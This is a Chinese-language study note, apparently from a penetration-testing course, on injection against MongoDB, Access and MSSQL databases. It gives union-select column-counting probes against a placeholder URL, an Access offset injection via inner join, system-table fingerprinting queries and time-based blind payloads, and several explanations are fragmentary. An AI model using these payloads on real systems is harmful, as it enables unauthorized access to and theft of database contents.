'其他类型数据库注入'

nosql(mongodb)数据库注入

一般查询语句 select * from users where id = $id

Nosql查询语句db.messages.find({“username”:”admin”,”password”:”123456”})
json格式数据





age不等于18且password为admin
$regex正则表达式

用户名开头^字母为a的(^符号代表开头)
.代表所有字符串, +代表更多



第一种方式容易破坏原有结构造成注入
(基本没有这种注入)

JS方式、sql语句、php结合mongodb



类似于万能密码

^代表开头 $代表结尾 .*?代表所有

access数据库注入


后面必须有个表名
判断数据库
Access:没有库,只有表和字段,支持内联,布尔盲注,union联合查询

and (select count(*) from MSysAccessObjects)>0 返回正常说明是access
and exists(select count(*) from 表)

猜表:
替换表名,查看网页变化

SQLserver:
and (select count(*) from sysobjects) >0 返回正常说明是mssql
MySQL:
and length(user())>0 返回正常说明是MySQL

在mssql中可以调用substring。oracle则只可调用substr

判断是否access数据库
and (select count(*) from MSysAccessObjects)>0

判断列数
order by 11

猜表名
and (select count(*) from 表名)>0

猜列名
and (select count(列名) from 表名)>0

尝试使用union select联合注入
测试表的列数

http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误

测试出11列

使用类偏移注入,根据显示位查数据

aboutus表 5列
union select 1,2,3,4,5,6,7,8,9,10,11 from aboutus
aboutus.* 5列
1,2,3,4,5,6,aboutus.* 7 8 9 显示aboutus前3列
2 3 7 8 9 显示位
1,2,3,4,aboutus.*,10,11 7 8 9 显示aboutus后3列
union 联合用不了,上sqlmap

9,偏移注入

偏移注入主要是针对知道表,但是不知道字段的。

access中没有注释

http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误
http://www.a.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id) inner join内联

mysql
select 1,2,3,4,5 union select 1,2,3,4,5

只有Access需要from

select 1,2,3,4,5 from table_name union select 1,2,3,4,5 from table_name

Mssql数据库注入

注释 – /**/

报错注入

多语句注入

mssql最容易出现 多语句注入

猜长度
’ ; select if(length(user(),1,1)>1,sleep(3),1) %23
’ ; select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

实现limit

as作用是把()里的数据取一个别名b


asc为正序
desc为倒序

Mssql数据库也可使用



查询当前数据库
查询所有数据库库名

保存成一个xml文档

等待3秒 相当于sleep(3)

设置定时器

If及case

查询库名

(select top 1 (schema_name) from information_schema.schemata where table_schema not in (select top 0 table_schema from information_schema.schemata))

查询表名

时间延时盲注